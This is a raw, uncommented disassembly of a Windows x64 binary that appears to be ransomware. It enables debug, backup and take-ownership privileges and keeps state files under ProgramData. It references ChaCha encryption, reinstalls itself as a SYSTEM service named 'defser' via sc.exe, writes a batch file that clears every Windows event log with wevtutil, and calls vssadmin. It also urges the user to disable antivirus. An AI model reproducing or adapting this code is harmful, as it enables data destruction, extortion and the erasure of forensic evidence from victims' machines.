mov r12, qword [rbp + 0x30]
cmp r12, qword [rbp + 0x38]
je 0x140005caa
mov rcx, r12
mov rdx, r15
call fcn.1400721d0
add r12, 0x18
mov qword [rbp + 0x30], r12
jmp 0x140005cc0
add rbp, 0x28
mov rcx, rbp
mov rdx, r15
call fcn.140036ff0
nop dword [rax]
test byte [rsp + 0x250], 1
je 0x1400051f0
mov rcx, qword [rsp + 0x260]
call fcn.14006fbd0
jmp 0x1400051f0
lea rcx, str.SeDebugPrivilege
mov edx, 1
call fcn.14004c3f0
lea rcx, str.SeRestorePrivilege
mov edx, 1
call fcn.14004c3f0
lea rcx, str.SeBackupPrivilege
mov edx, 1
call fcn.14004c3f0
lea rcx, str.SeTakeOwnershipPrivilege
mov edx, 1
call fcn.14004c3f0
lea rcx, str.SeBackupPrivilege
mov edx, 1
call fcn.14004c3f0
lea rcx, str.SeAuditPrivilege
mov edx, 1
call fcn.14004c3f0
lea rcx, str.SeSecurityPrivilege
mov edx, 1
call fcn.14004c3f0
movzx ebx, byte [0x140288308]
mov ecx, ebx
and cl, 1
je 0x140005d6e
mov rbx, qword [0x140288310]
jmp 0x140005d71
shr rbx, 1
lea rsi, [rbx + 0x13]
movabs rax, 0x7fffffffffffffef
cmp rsi, rax
ja 0x14000ad85
cmp rsi, 0xa
ja 0x140005db6
pxor xmm0, xmm0
movdqa xmmword [rsp + 0xf90], xmm0
mov qword [rsp + 0xfa0], 0
add sil, sil
mov byte [rsp + 0xf90], sil
xor edi, edi
jmp 0x140005dfb
mov r14, rsi
or r14, 7
inc r14
js 0x14000afdb
lea rcx, [r14 + r14]
call fcn.14006fb50
mov rdi, rax
or r14, 1
mov qword [rsp + 0xf90], r14
mov qword [rsp + 0xfa0], rax
mov qword [rsp + 0xf98], rsi
movzx ecx, byte [0x140288308]
and cl, 1
mov esi, r14d
test sil, 1
lea rsi, [rsp + 0xf92]
cmove rdi, rsi
test cl, cl
je 0x140005e18
mov rdx, qword [0x140288318]
jmp 0x140005e1f
lea rdx, [0x14028830a]
lea r8, [rbx + rbx]
mov rcx, rdi
call sub.msvcrt.dll_memmove
movabs rax, 0x730065006c0063
mov qword [rdi + rbx*2 + 0x1e], rax
movdqu xmm6, xmmword [str.programdata_secles]
movdqu xmmword [rdi + rbx*2], xmm6
movdqu xmm10, xmmword [0x1401f58ce]
movdqu xmmword [rdi + rbx*2 + 0x10], xmm10
mov word [rdi + rbx*2 + 0x26], 0
lea rdx, str.posi.txt
lea rcx, [rsp + 0xf90]
call fcn.140072e90
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x8c0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x8b0], xmm0
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rsp + 0x8b0], 1
je 0x140005eaf
mov rcx, qword [rsp + 0x8c0]
jmp 0x140005eb7
lea rcx, [rsp + 0x8b2]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.DLL_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140005f57
lea rdx, [rsp + 0x590]
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_GetFileSizeEx]
mov ebx, 0xffffffff
cmp qword [rsp + 0x590], 4
jne 0x140005f4c
mov dword [rsp + 0x100], 0
mov qword [rsp + 0x20], 0
lea rdx, [rsp + 0x250]
lea r9, [rsp + 0x100]
mov rcx, rdi
mov r8d, 4
call qword [sym.imp.KERNEL32.DLL_ReadFile]
xor ebx, ebx
cmp eax, 1
sbb ebx, ebx
or ebx, dword [rsp + 0x250]
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x140005f5c
mov ebx, 0xffffffff
inc ebx
mov dword [0x1402883c8], ebx
mov dword [0x1402883f0], ebx
test byte [rsp + 0x8b0], 1
je 0x140005f81
mov rcx, qword [rsp + 0x8c0]
call fcn.14006fbd0
test byte [rsp + 0xf90], 1
je 0x140005f98
mov rcx, qword [rsp + 0xfa0]
call fcn.14006fbd0
movzx ebx, byte [0x140288308]
mov eax, ebx
and al, 1
je 0x140005fae
mov rbx, qword [0x140288310]
jmp 0x140005fb1
shr rbx, 1
lea r14, [rbx + 0x13]
movabs rcx, 0x7fffffffffffffef
cmp r14, rcx
ja 0x14000ad92
cmp r14, 0xa
ja 0x140005ff6
pxor xmm0, xmm0
movdqa xmmword [rsp + 0xf90], xmm0
mov qword [rsp + 0xfa0], 0
add r14b, r14b
mov byte [rsp + 0xf90], r14b
xor edi, edi
jmp 0x14000603a
mov r15, r14
or r15, 7
inc r15
js 0x14000afe0
lea rcx, [r15 + r15]
call fcn.14006fb50
mov rdi, rax
or r15, 1
mov qword [rsp + 0xf90], r15
mov qword [rsp + 0xfa0], rax
mov qword [rsp + 0xf98], r14
movzx eax, byte [0x140288308]
and al, 1
mov r14d, r15d
test r14b, 1
cmove rdi, rsi
test al, al
je 0x14000604f
mov rdx, qword [0x140288318]
jmp 0x140006056
lea rdx, [0x14028830a]
lea r8, [rbx + rbx]
mov rcx, rdi
call sub.msvcrt.dll_memmove
movabs rax, 0x730065006c0063
mov qword [rdi + rbx*2 + 0x1e], rax
movdqu xmmword [rdi + rbx*2], xmm6
movdqu xmmword [rdi + rbx*2 + 0x10], xmm10
mov word [rdi + rbx*2 + 0x26], 0
lea rdx, str._runs.txt
lea rcx, [rsp + 0xf90]
call fcn.140072e90
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x8a0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x890], xmm0
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rsp + 0x890], 1
je 0x1400060d5
mov rcx, qword [rsp + 0x8a0]
jmp 0x1400060dd
lea rcx, [rsp + 0x892]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.DLL_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1400061d2
lea rdx, [rsp + 0x590]
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_GetFileSizeEx]
mov ebp, 0xffffffff
cmp qword [rsp + 0x590], 6
jne 0x1400061ab
mov dword [rsp + 0x100], 0
mov qword [rsp + 0x20], 0
lea rdx, [rsp + 0x250]
lea r9, [rsp + 0x100]
mov rcx, rdi
mov r8d, 6
call qword [sym.imp.KERNEL32.DLL_ReadFile]
mov ebp, 0xffffffff
cmp dword [rsp + 0x590], 6
jne 0x1400061ab
movzx eax, word [rsp + 0x250]
movzx ecx, word [rsp + 0x252]
mov edx, ecx
xor edx, 0xc
cmp ax, dx
jne 0x1400061ab
movzx edx, word [rsp + 0x254]
xor edx, 0xe4
cmp cx, dx
jne 0x1400061ab
xor eax, 0x93
mov ebp, eax
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
test byte [rsp + 0x890], 1
jne 0x1400061e1
test byte [rsp + 0xf90], 1
jne 0x1400061f8
cmp ebp, 0xb
jle 0x14000620a
jmp 0x140006276
mov ebp, 0xffffffff
test byte [rsp + 0x890], 1
je 0x1400061be
mov rcx, qword [rsp + 0x8a0]
call fcn.14006fbd0
test byte [rsp + 0xf90], 1
je 0x1400061c8
mov rcx, qword [rsp + 0xfa0]
call fcn.14006fbd0
cmp ebp, 0xb
jg 0x140006276
mov ecx, 8
call fcn.14006fb50
mov rdi, rax
mov ecx, 8
call fcn.14006fb50
mov rbx, rax
mov rcx, rax
call fcn.140074d00
mov qword [rsp + 0xf90], rbx
mov ecx, 0x10
call fcn.14006fb50
mov qword [rsp + 0xf90], 0
mov qword [rax], rbx
mov dword [rax + 8], 0x30d40
mov qword [rsp + 0x590], rax
lea rdx, [0x140037190]
mov rcx, rdi
mov r8, rax
call fcn.140099000
test eax, eax
jne 0x14000afe5
mov ecx, 6
call fcn.14006fbc0
mov rdi, rax
inc ebp
mov eax, ebp
xor eax, 0x93
mov word [rdi], ax
mov eax, ebp
xor eax, 0x9f
mov word [rdi + 2], ax
xor ebp, 0x7b
mov word [rdi + 4], bp
movzx r14d, byte [0x140288308]
mov eax, r14d
and al, 1
je 0x1400062b9
mov r14, qword [0x140288310]
jmp 0x1400062bc
shr r14, 1
lea r15, [r14 + 0x13]
movabs rcx, 0x7fffffffffffffef
cmp r15, rcx
ja 0x14000ad9f
cmp r15, 0xa
ja 0x140006301
pxor xmm0, xmm0
movdqa xmmword [rsp + 0xf90], xmm0
mov qword [rsp + 0xfa0], 0
add r15b, r15b
mov byte [rsp + 0xf90], r15b
xor ebx, ebx
jmp 0x140006345
mov r12, r15
or r12, 7
inc r12
js 0x14000aff3
lea rcx, [r12 + r12]
call fcn.14006fb50
mov rbx, rax
or r12, 1
mov qword [rsp + 0xf90], r12
mov qword [rsp + 0xfa0], rax
mov qword [rsp + 0xf98], r15
movzx eax, byte [0x140288308]
and al, 1
mov r15d, r12d
test r15b, 1
cmove rbx, rsi
test al, al
je 0x14000635a
mov rdx, qword [0x140288318]
jmp 0x140006361
lea rdx, [0x14028830a]
lea r8, [r14 + r14]
mov rcx, rbx
call sub.msvcrt.dll_memmove
movabs rax, 0x730065006c0063
mov qword [rbx + r14*2 + 0x1e], rax
movdqu xmmword [rbx + r14*2], xmm6
movdqu xmmword [rbx + r14*2 + 0x10], xmm10
mov word [rbx + r14*2 + 0x26], 0
lea rdx, str._runs.txt
lea rcx, [rsp + 0xf90]
call fcn.140072e90
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x880], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x870], xmm0
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rsp + 0x870], 1
je 0x1400063e2
mov rcx, qword [rsp + 0x880]
jmp 0x1400063ea
lea rcx, [rsp + 0x872]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
mov edx, 0xc0000000
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.DLL_CreateFileW]
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x14000645d
mov dword [rsp + 0x590], 0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x590]
mov rcx, r14
mov rdx, rdi
mov r8d, 6
call qword [sym.imp.KERNEL32.DLL_WriteFile]
mov rcx, r14
call qword [sym.imp.KERNEL32.DLL_FlushFileBuffers]
mov rcx, r14
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
test byte [rsp + 0x870], 1
je 0x140006474
mov rcx, qword [rsp + 0x880]
call fcn.14006fbd0
test byte [rsp + 0xf90], 1
je 0x14000648b
mov rcx, qword [rsp + 0xfa0]
call fcn.14006fbd0
call qword [sym.imp.KERNEL32.DLL_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
test byte [0x140285350], 1
je 0x1400064ae
mov rcx, qword [0x140285360]
jmp 0x1400064b5
lea rcx, [0x140285352]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
mov edx, 1
mov r8d, 7
xor r9d, r9d
call qword [sym.imp.KERNEL32.DLL_CreateFileW]
mov r14, rax
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov edi, eax
lea rdx, [rsp + 0x3ac]
mov rcx, r14
call qword [sym.imp.KERNEL32.DLL_GetFileSize]
mov edx, eax
lea rcx, [0x1402884f8]
xor r8d, r8d
call fcn.140072000
movzx eax, byte [0x1402884f8]
mov r8, rax
shr r8, 1
test al, 1
lea rdx, [0x1402884f9]
cmovne rdx, qword [0x140288508]
cmovne r8d, dword [0x140288500]
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x3ac]
mov rcx, r14
call qword [sym.imp.KERNEL32.DLL_ReadFile]
cmp dword [rsp + 0x3ac], 0
je 0x14000adac
mov dword [rsp + 0x58c], 1
mov byte [rsp + 0xdf], 0
mov byte [rsp + 0x9f], 0
movzx ebx, byte [0x140288308]
mov eax, ebx
and al, 1
je 0x14000658e
mov rbx, qword [0x140288310]
jmp 0x140006591
shr rbx, 1
lea r14, [rbx + 0x13]
movabs rcx, 0x7fffffffffffffef
cmp r14, rcx
ja 0x14000aeb7
cmp r14, 0xa
ja 0x1400065d6
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x590], xmm0
mov qword [rsp + 0x5a0], 0
add r14b, r14b
mov byte [rsp + 0x590], r14b
xor edi, edi
jmp 0x14000661a
mov r15, r14
or r15, 7
inc r15
js 0x14000aff8
lea rcx, [r15 + r15]
call fcn.14006fb50
mov rdi, rax
or r15, 1
mov qword [rsp + 0x590], r15
mov qword [rsp + 0x5a0], rax
mov qword [rsp + 0x598], r14
movzx eax, byte [0x140288308]
and al, 1
mov r14d, r15d
test r14b, 1
lea rcx, [rsp + 0x592]
cmove rdi, rcx
test al, al
je 0x140006637
mov rdx, qword [0x140288318]
jmp 0x14000663e
lea rdx, [0x14028830a]
lea r8, [rbx + rbx]
mov rcx, rdi
call sub.msvcrt.dll_memmove
movabs rax, 0x730065006c0063
mov qword [rdi + rbx*2 + 0x1e], rax
movdqu xmmword [rdi + rbx*2], xmm6
movdqu xmmword [rdi + rbx*2 + 0x10], xmm10
mov word [rdi + rbx*2 + 0x26], 0
lea rdx, str.ids
lea rcx, [rsp + 0x590]
call fcn.140072e90
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xfa0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xf90], xmm0
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rsp + 0xf90], 1
je 0x1400066bb
mov rsi, qword [rsp + 0xfa0]
mov rcx, rsi
call fcn.14004c5f0
test byte [rsp + 0xf90], 1
je 0x1400066da
mov rcx, qword [rsp + 0xfa0]
call fcn.14006fbd0
test byte [rsp + 0x590], 1
je 0x1400066f1
mov rcx, qword [rsp + 0x5a0]
call fcn.14006fbd0
movzx edi, byte [0x140288308]
mov eax, edi
and al, 1
je 0x140006707
mov rdi, qword [0x140288310]
jmp 0x14000670a
shr rdi, 1
lea rbx, [rdi + 0x13]
movabs rcx, 0x7fffffffffffffef
cmp rbx, rcx
ja 0x14000aec4
cmp rbx, 0xa
ja 0x14000674d
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x590], xmm0
mov qword [rsp + 0x5a0], 0
add bl, bl
mov byte [rsp + 0x590], bl
xor esi, esi
jmp 0x140006791
mov r14, rbx
or r14, 7
inc r14
js 0x14000affd
lea rcx, [r14 + r14]
call fcn.14006fb50
mov rsi, rax
or r14, 1
mov qword [rsp + 0x590], r14
mov qword [rsp + 0x5a0], rax
mov qword [rsp + 0x598], rbx
movzx eax, byte [0x140288308]
and al, 1
mov ebx, r14d
test bl, 1
lea rcx, [rsp + 0x592]
cmove rsi, rcx
test al, al
je 0x1400067ad
mov rdx, qword [0x140288318]
jmp 0x1400067b4
lea rdx, [0x14028830a]
lea r8, [rdi + rdi]
mov rcx, rsi
call sub.msvcrt.dll_memmove
movabs rax, 0x730065006c0063
mov qword [rsi + rdi*2 + 0x1e], rax
movdqu xmmword [rsi + rdi*2], xmm6
movdqu xmmword [rsi + rdi*2 + 0x10], xmm10
mov word [rsi + rdi*2 + 0x26], 0
lea rdx, str.ids
lea rcx, [rsp + 0x590]
call fcn.140072e90
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xfa0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xf90], xmm0
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rsp + 0xf90], 1
je 0x140006833
mov rcx, qword [rsp + 0xfa0]
jmp 0x14000683b
lea rcx, [rsp + 0xf92]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
mov r8d, 1
xor r9d, r9d
call qword [sym.imp.KERNEL32.DLL_CreateFileW]
mov rsi, rax
test byte [rsp + 0xf90], 1
je 0x140006882
mov rcx, qword [rsp + 0xfa0]
call fcn.14006fbd0
test byte [rsp + 0x590], 1
je 0x140006899
mov rcx, qword [rsp + 0x5a0]
call fcn.14006fbd0
lea rax, [rsi + 1]
cmp rax, 2
jae 0x140006999
lea rcx, [0x140288278]
mov edx, 0x14
xor r8d, r8d
call fcn.140072000
lea rdx, [0x140288278]
lea rcx, [rsp + 0xf90]
call fcn.140071170
test byte [0x140288278], 1
je 0x1400068e1
mov rdx, qword [0x140288288]
jmp 0x1400068e8
lea rdx, [0x140288279]
lea rcx, [rsp + 0x980]
mov r8d, 0x14
call fcn.14005e7f0
movzx eax, byte [0x140288278]
test al, 1
sete cl
je 0x140006912
mov rdx, qword [0x140288288]
jmp 0x140006919
lea rdx, [0x140288279]
lea rsi, [rsp + 0xf91]
test byte [rsp + 0xf90], 1
mov r8, rsi
je 0x140006936
mov rcx, rsi
xor edx, edx
call qword [sym.imp.KERNEL32.DLL_GetFileSize]
mov edi, eax
mov edx, eax
lea rcx, [0x140288278]
xor r8d, r8d
call fcn.140072000
test byte [0x140288278], 1
je 0x1400069c9
mov rdx, qword [0x140288288]
jmp 0x1400069d0
lea rdx, [0x140288279]
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x590]
mov rcx, rsi
mov r8d, edi
call qword [sym.imp.KERNEL32.DLL_ReadFile]
pxor xmm0, xmm0
movdqa xmmword [rsp + 0xf90], xmm0
mov qword [rsp + 0xfa0], 0
lea rcx, [rsp + 0xf90]
mov edx, 0x14
xor r8d, r8d
call fcn.140072000
cmp edi, 0x14
setne bl
test byte [0x140288278], 1
je 0x140006a45
mov rax, qword [0x140288288]
test byte [rsp + 0xf90], 1
jne 0x140006a56
lea rcx, [rsp + 0xf91]
jmp 0x140006a5e
lea rax, [0x140288279]
test byte [rsp + 0xf90], 1
je 0x140006a3b
mov rcx, qword [rsp + 0xfa0]
movdqu xmm0, xmmword [rax]
movdqu xmm1, xmmword [rcx]
pcmpeqb xmm1, xmm0
movd xmm0, dword [rax + 0x10]
movd xmm2, dword [rcx + 0x10]
pcmpeqb xmm2, xmm0
pand xmm2, xmm1
pmovmskb eax, xmm2
cmp eax, 0xffff
sete dil
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
or dil, bl
test byte [rsp + 0xf90], 1
je 0x140006aac
mov rcx, qword [rsp + 0xfa0]
call fcn.14006fbd0
test dil, dil
jne 0x1400068a7
jmp 0x140007247
sar rdi, 3
shr r11, 3
inc r11
mov rbx, r11
and rbx, 0xfffffffffffffffc
lea r14, [rbx*8]
mov r10, rdx
sub r10, r14
mov rsi, rcx
sub rsi, r14
lea rax, [rax + rdi*8]
add rax, 0xfffffffffffffff0
mov rdi, rbx
neg rdi
xor r14d, r14d
nop dword [rax]
movdqu xmm0, xmmword [rcx + r14*8 - 0x20]
movdqu xmm1, xmmword [rcx + r14*8 - 0x10]
movdqu xmmword [rax + r14*8], xmm1
movdqu xmmword [rax + r14*8 - 0x10], xmm0
add r14, 0xfffffffffffffffc
cmp rdi, r14
jne 0x140006b70
cmp r11, rbx
jne 0x140003210
jmp 0x140003225
movzx esi, byte [0x140288278]
test sil, 1
je 0x140007264
mov rdi, qword [0x140288288]
mov rsi, qword [0x140288280]
jmp 0x14000726e
shr rsi, 1
lea rdi, [0x140288279]
movabs rax, 0x7fffffffffffffef
cmp rsi, rax
ja 0x14000aed1
lea rcx, [rsp + 0xf90]
call fcn.140030800
lea rcx, [rsp + 0xf90]
call fcn.140002ec0
lea rcx, [rsp + 0x590]
call fcn.140002ec0
lea rcx, [rsp + 0xf90]
call fcn.140030800
call fcn.140002f60
call fcn.140002f60
lea rcx, [rsp + 0x100]
call fcn.140002ec0
call fcn.140002f60
lea rcx, [rsp + 0x100]
call fcn.140002ec0
xor ecx, ecx
call fcn.14004c360
lea rcx, str.restarting_as_system
mov dl, 1
call fcn.140012160
lea rax, [rsp + 0x250]
mov qword [rsp + 0x20], rax
lea rdx, [0x140288308]
lea rcx, [rsp + 0x590]
mov r8d, 4
mov r9, 0xffffffffffffffff
call fcn.140072820
lea rdx, str.windows_system32_sc.exe
lea rcx, [rsp + 0x590]
call fcn.140072e90
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xfa0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xf90], xmm0
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rsp + 0xf90], 1
je 0x14000b065
mov rsi, qword [rsp + 0xfa0]
jmp 0x14000b06d
lea rcx, str.chacha_failed__please_run_x64_version_or_restart
mov dl, 1
call fcn.140012160
xor ecx, ecx
call fcn.14004c360
jmp 0x140011d17
lea rcx, [rsp + 0xf90]
call fcn.140002ec0
lea rcx, [rsp + 0xf90]
call fcn.140002ec0
lea rcx, [rsp + 0xf90]
call fcn.140002ec0
lea rcx, [rsp + 0x70]
mov edx, edi
call fcn.140073b60
lea r8, str.could_not_read_itself_error:
lea rcx, [rsp + 0x70]
xor edx, edx
call fcn.140072900
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x110], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x100], xmm0
pxor xmm6, xmm6
movdqu xmmword [rax], xmm6
mov qword [rax + 0x10], 0
lea rdx, [0x1401f5948]
lea rcx, [rsp + 0x100]
call fcn.140072e90
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x260], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x250], xmm0
movdqu xmmword [rax], xmm6
mov qword [rax + 0x10], 0
call qword [sym.imp.KERNEL32.DLL_GetLastError]
lea rcx, [rsp + 0x1d0]
mov edx, eax
call fcn.140073b60
lea rcx, [rsp + 0x590]
lea rdx, [rsp + 0x250]
lea r8, [rsp + 0x1d0]
call fcn.140012d20
lea rdx, [0x1401f594c]
lea rcx, [rsp + 0x590]
call fcn.140072e90
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xfa0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xf90], xmm0
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rsp + 0xf90], 1
je 0x14000b2ee
mov rcx, qword [rsp + 0xfa0]
jmp 0x14000b2f6
lea rcx, [rsp + 0x590]
call fcn.140002ec0
lea rcx, [rsp + 0x590]
call fcn.140002ec0
lea rcx, [rsp + 0xf90]
call fcn.140002ec0
lea rcx, [rsp + 0x100]
call fcn.140002ec0
lea rcx, [rsp + 0x590]
call fcn.140002ec0
lea rcx, [rsp + 0x590]
call fcn.140002ec0
xor ecx, ecx
call fcn.14004c6d0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r8, [0x140016b00]
mov edx, 0x40000
xor ecx, ecx
xor r9d, r9d
call qword [sym.imp.KERNEL32.DLL_CreateThread]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r8, [0x140019150]
mov edx, 0x40000
xor ecx, ecx
xor r9d, r9d
call qword [sym.imp.KERNEL32.DLL_CreateThread]
call fcn.14005a0f0
mov r12d, ebp
lea rdx, str.for__f___x_in__wevtutil_el__do_wevtutil_cl____x_
lea rcx, [rsp + 0xa0]
call fcn.140013020
lea rdx, str.c:windowslogg.bat
lea rcx, [rsp + 0xce0]
call fcn.140012f70
movzx r8d, byte [rsp + 0xa0]
lea rbx, [rsp + 0xa1]
test r8b, 1
je 0x14000b1ba
mov rdx, qword [rsp + 0xb0]
mov r8, qword [rsp + 0xa8]
jmp 0x14000b1c0
call fcn.140002f60
call fcn.140002f60
call fcn.140002f60
lea rdx, [0x1401fae18]
mov ecx, eax
call fcn.140074a50
call fcn.140002f60
call fcn.140002f60
call fcn.140002f60
call fcn.140002f60
call fcn.140002f60
call fcn.140002f60
call fcn.140002f60
call fcn.140002f60
call fcn.140002f60
lea rcx, [rsp + 0x250]
call fcn.140002ec0
call fcn.140002f60
lea rcx, [rsp + 0x980]
mov r8d, 0x14
call fcn.14005e7f0
lea rcx, str.cant_genrate_id___possible_reason_is_your_av__manipulatin___disable_and_retry
mov dl, 1
call fcn.140012160
xor ecx, ecx
call fcn.14004c360
mov ecx, 0xd903
call qword [sym.imp.KERNEL32.DLL_ExitProcess]
lea rsi, [rsp + 0xf92]
lea rdx, str.delete
lea rcx, [rsp + 0x100]
call fcn.140012f70
lea rdx, str.defser
lea rcx, [rsp + 0x100]
call fcn.140072e90
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x260], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x250], xmm0
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rsp + 0x250], 1
je 0x14000b0d2
mov rdx, qword [rsp + 0x260]
jmp 0x14000b0da
lea rdx, [rsp + 0x252]
movdqu xmmword [rsp + 0x28], xmm0
mov byte [rsp + 0x20], 1
mov rcx, rsi
mov r8b, 1
xor r9d, r9d
call fcn.140057a40
test byte [rsp + 0x250], 1
jne 0x14000b298
test byte [rsp + 0x100], 1
jne 0x14000b2b3
test byte [rsp + 0xf90], 1
jne 0x14000b2ce
test byte [rsp + 0x590], 1
je 0x14000b134
mov rcx, qword [rsp + 0x5a0]
call fcn.14006fbd0
lea rax, [rsp + 0x250]
mov qword [rsp + 0x20], rax
lea rdx, [0x140288308]
lea rcx, [rsp + 0x590]
mov r8d, 4
mov r9, 0xffffffffffffffff
call fcn.140072820
lea rdx, str.windows_system32_sc.exe
lea rcx, [rsp + 0x590]
call fcn.140072e90
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xfa0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xf90], xmm0
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rsp + 0xf90], 1
je 0x14000b3c1
mov rsi, qword [rsp + 0xfa0]
jmp 0x14000b3c9
shr r8, 1
mov rdx, rbx
lea rcx, [rsp + 0xce0]
mov r9d, 4
call fcn.140002fe0
test byte [rsp + 0xce0], 1
je 0x14000b1ea
mov rcx, qword [rsp + 0xcf0]
call fcn.14006fbd0
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x28], xmm0
mov byte [rsp + 0x20], 0
lea rcx, str.c:windows_system32cmd.exe
lea rdx, str._c_c:windowslogg.bat
mov r8b, 1
xor r9d, r9d
call fcn.140057a40
lea rax, [rsp + 0x250]
mov qword [rsp + 0x20], rax
lea rdx, [0x140288308]
lea rcx, [rsp + 0x590]
mov r8d, 4
mov r9, 0xffffffffffffffff
call fcn.140072820
lea rdx, str.Windows_system32_vssadmin.exe
lea rcx, [rsp + 0x590]
call fcn.140072e90
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xfa0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xf90], xmm0
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rsp + 0xf90], 1
je 0x14000b4c1
mov rcx, qword [rsp + 0xfa0]
jmp 0x14000b4c9
mov rcx, qword [rsp + 0x260]
call fcn.14006fbd0
test byte [rsp + 0x100], 1
je 0x14000b10f
mov rcx, qword [rsp + 0x110]
call fcn.14006fbd0
test byte [rsp + 0xf90], 1
je 0x14000b11d
mov rcx, qword [rsp + 0xfa0]
call fcn.14006fbd0
test byte [rsp + 0x590], 1
jne 0x14000b127
jmp 0x14000b134
lea rcx, [rsp + 0xf92]
mov dl, 1
call fcn.140012160
test byte [rsp + 0xf90], 1
jne 0x14000b34b
test byte [rsp + 0x590], 1
jne 0x14000b362
test byte [rsp + 0x1d0], 1
jne 0x14000b379
test byte [rsp + 0x250], 1
jne 0x14000b390
test byte [rsp + 0x100], 1
jne 0x14000b3a7
test byte [rsp + 0x70], 1
je 0x14000b343
mov rcx, qword [rsp + 0x80]
call fcn.14006fbd0
mov ecx, edi
call qword [sym.imp.KERNEL32.DLL_ExitProcess]
mov rcx, qword [rsp + 0xfa0]
call fcn.14006fbd0
test byte [rsp + 0x590], 1
je 0x14000b311
mov rcx, qword [rsp + 0x5a0]
call fcn.14006fbd0
test byte [rsp + 0x1d0], 1
je 0x14000b31b
mov rcx, qword [rsp + 0x1e0]
call fcn.14006fbd0
test byte [rsp + 0x250], 1
je 0x14000b325
mov rcx, qword [rsp + 0x260]
call fcn.14006fbd0
test byte [rsp + 0x100], 1
je 0x14000b32f
mov rcx, qword [rsp + 0x110]
call fcn.14006fbd0
test byte [rsp + 0x70], 1
jne 0x14000b336
jmp 0x14000b343
lea rsi, [rsp + 0xf92]
lea rdx, str.create
lea rcx, [rsp + 0x1d0]
call fcn.140012f70
lea rdx, str.defser
lea rcx, [rsp + 0x1d0]
call fcn.140072e90
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x420], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x410], xmm0
pxor xmm6, xmm6
movdqu xmmword [rax], xmm6
mov qword [rax + 0x10], 0
lea rdx, str._binpath__
lea rcx, [rsp + 0x410]
call fcn.140072e90
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x80], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x70], xmm0
movdqu xmmword [rax], xmm6
mov qword [rax + 0x10], 0
